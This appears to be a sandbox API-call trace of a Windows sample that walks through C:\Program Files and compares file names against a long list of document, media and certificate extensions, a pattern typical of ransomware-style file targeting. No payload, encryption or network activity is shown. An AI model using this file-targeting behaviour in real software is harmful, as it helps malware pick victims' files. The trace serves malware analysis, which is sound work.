	[0180.865] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mdw") returned 4
	[0180.865] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mef") returned 4
	[0180.865] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mft") returned 4
	[0180.865] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mfw") returned 4
	[0180.865] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mht") returned 4
	[0180.865] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mhtml") returned 6
	[0180.865] lstrcmpiW (lpString1=".mhtml", lpString2="ch.exe") returned -1
	[0180.865] lstrlenW (lpString=".mka") returned 4
	[0180.865] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mkidx") returned 6
	[0180.865] lstrcmpiW (lpString1=".mkidx", lpString2="ch.exe") returned -1
	[0180.865] lstrlenW (lpString=".mkv") returned 4
	[0180.865] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mos") returned 4
	[0180.865] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mov") returned 4
	[0180.865] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mp3") returned 4
	[0180.865] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0180.865] lstrlenW (lpString=".mp4") returned 4
	[0180.865] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".mpeg") returned 5
	[0180.866] lstrcmpiW (lpString1=".mpeg", lpString2="h.exe") returned -1
	[0180.866] lstrlenW (lpString=".mpg") returned 4
	[0180.866] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".mpv") returned 4
	[0180.866] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".mrw") returned 4
	[0180.866] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".msg") returned 4
	[0180.866] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".mxl") returned 4
	[0180.866] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".myd") returned 4
	[0180.866] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".myi") returned 4
	[0180.866] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".nef") returned 4
	[0180.866] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".nrw") returned 4
	[0180.866] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".obj") returned 4
	[0180.866] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".odb") returned 4
	[0180.866] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".odc") returned 4
	[0180.866] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0180.866] lstrlenW (lpString=".odm") returned 4
	[0180.866] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".odp") returned 4
	[0180.867] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".ods") returned 4
	[0180.867] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".oft") returned 4
	[0180.867] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".one") returned 4
	[0180.867] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".onepkg") returned 7
	[0180.867] lstrcmpiW (lpString1=".onepkg", lpString2="nch.exe") returned -1
	[0180.867] lstrlenW (lpString=".onetoc2") returned 8
	[0180.867] lstrcmpiW (lpString1=".onetoc2", lpString2="unch.exe") returned -1
	[0180.867] lstrlenW (lpString=".opt") returned 4
	[0180.867] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".oqy") returned 4
	[0180.867] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".orf") returned 4
	[0180.867] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".p12") returned 4
	[0180.867] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".p7b") returned 4
	[0180.867] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".p7c") returned 4
	[0180.867] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".pam") returned 4
	[0180.867] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0180.867] lstrlenW (lpString=".pbm") returned 4
	[0180.868] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pct") returned 4
	[0180.868] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pcx") returned 4
	[0180.868] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pdd") returned 4
	[0180.868] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pdf") returned 4
	[0180.868] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pdp") returned 4
	[0180.868] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pef") returned 4
	[0180.868] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pem") returned 4
	[0180.868] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pff") returned 4
	[0180.868] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pfm") returned 4
	[0180.868] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pfx") returned 4
	[0180.868] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".pgm") returned 4
	[0180.868] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".php") returned 4
	[0180.868] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0180.868] lstrlenW (lpString=".php3") returned 5
	[0180.868] lstrcmpiW (lpString1=".php3", lpString2="h.exe") returned -1
	[0180.868] lstrlenW (lpString=".php4") returned 5
	[0180.869] lstrcmpiW (lpString1=".php4", lpString2="h.exe") returned -1
	[0180.869] lstrlenW (lpString=".php5") returned 5
	[0180.869] lstrcmpiW (lpString1=".php5", lpString2="h.exe") returned -1
	[0180.869] lstrlenW (lpString=".phtml") returned 6
	[0180.869] lstrcmpiW (lpString1=".phtml", lpString2="ch.exe") returned -1
	[0180.869] lstrlenW (lpString=".pict") returned 5
	[0180.869] lstrcmpiW (lpString1=".pict", lpString2="h.exe") returned -1
	[0180.869] lstrlenW (lpString=".pl") returned 3
	[0180.869] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0180.869] lstrlenW (lpString=".pls") returned 4
	[0180.869] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0180.869] lstrlenW (lpString=".pm") returned 3
	[0180.869] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0180.869] lstrlenW (lpString=".png") returned 4
	[0180.869] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0180.869] lstrlenW (lpString=".pnm") returned 4
	[0180.869] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0180.869] lstrlenW (lpString=".pot") returned 4
	[0180.869] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0180.869] lstrlenW (lpString=".potm") returned 5
	[0180.869] lstrcmpiW (lpString1=".potm", lpString2="h.exe") returned -1
	[0180.869] lstrlenW (lpString=".potx") returned 5
	[0180.869] lstrcmpiW (lpString1=".potx", lpString2="h.exe") returned -1
	[0180.870] lstrlenW (lpString=".ppa") returned 4
	[0180.870] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".ppam") returned 5
	[0180.870] lstrcmpiW (lpString1=".ppam", lpString2="h.exe") returned -1
	[0180.870] lstrlenW (lpString=".ppm") returned 4
	[0180.870] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".pps") returned 4
	[0180.870] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".ppsm") returned 5
	[0180.870] lstrcmpiW (lpString1=".ppsm", lpString2="h.exe") returned -1
	[0180.870] lstrlenW (lpString=".ppt") returned 4
	[0180.870] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".pptm") returned 5
	[0180.870] lstrcmpiW (lpString1=".pptm", lpString2="h.exe") returned -1
	[0180.870] lstrlenW (lpString=".pptx") returned 5
	[0180.870] lstrcmpiW (lpString1=".pptx", lpString2="h.exe") returned -1
	[0180.870] lstrlenW (lpString=".prn") returned 4
	[0180.870] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".ps") returned 3
	[0180.870] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0180.870] lstrlenW (lpString=".psb") returned 4
	[0180.870] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".psd") returned 4
	[0180.870] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".pst") returned 4
	[0180.870] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0180.870] lstrlenW (lpString=".ptx") returned 4
	[0180.870] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0180.871] lstrlenW (lpString=".pub") returned 4
	[0180.871] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0180.871] lstrlenW (lpString=".pwm") returned 4
	[0180.871] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0180.871] lstrlenW (lpString=".pxr") returned 4
	[0180.871] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0180.871] lstrlenW (lpString=".py") returned 3
	[0180.871] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0180.871] lstrlenW (lpString=".qt") returned 3
	[0180.871] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0180.871] lstrlenW (lpString=".r3d") returned 4
	[0180.871] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0180.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b148c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1
	[0180.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2f0d0100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1
	[0180.871] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2c1c100, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0180.872] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3f71b00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x11f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1
	[0180.872] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xbefe7b00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1
	[0180.872] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x4b5c6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0180.872] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x45b35800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0180.872] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x5fed3600, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0180.873] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0180.873] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0
	[0180.873] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0180.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0180.873] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0180.873] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0180.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45ae47a0, ftCreationTime.dwHighDateTime=0x1d55b92, ftLastAccessTime.dwLowDateTime=0xbda65e50, ftLastAccessTime.dwHighDateTime=0x1d5c9dd, ftLastWriteTime.dwLowDateTime=0xbda65e50, ftLastWriteTime.dwHighDateTime=0x1d5c9dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="catchuploaded.exe", cAlternateFileName="CATCHU~1.EXE")) returned 1
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69444ba0, ftCreationTime.dwHighDateTime=0x1d5ba93, ftLastAccessTime.dwLowDateTime=0x84378b60, ftLastAccessTime.dwHighDateTime=0x1d5d2f9, ftLastWriteTime.dwLowDateTime=0x84378b60, ftLastWriteTime.dwHighDateTime=0x1d5d2f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc4de00, ftCreationTime.dwHighDateTime=0x1d5951d, ftLastAccessTime.dwLowDateTime=0xa2022e60, ftLastAccessTime.dwHighDateTime=0x1d58372, ftLastWriteTime.dwLowDateTime=0xa2022e60, ftLastWriteTime.dwHighDateTime=0x1d58372, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="machinesaladafterwards.exe", cAlternateFileName="MACHIN~1.EXE")) returned 1
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0181.187] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0181.187] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.188] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.195] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0181.195] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0181.195] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.196] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1
	[0181.196] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0181.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.196] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.196] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.197] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ea68
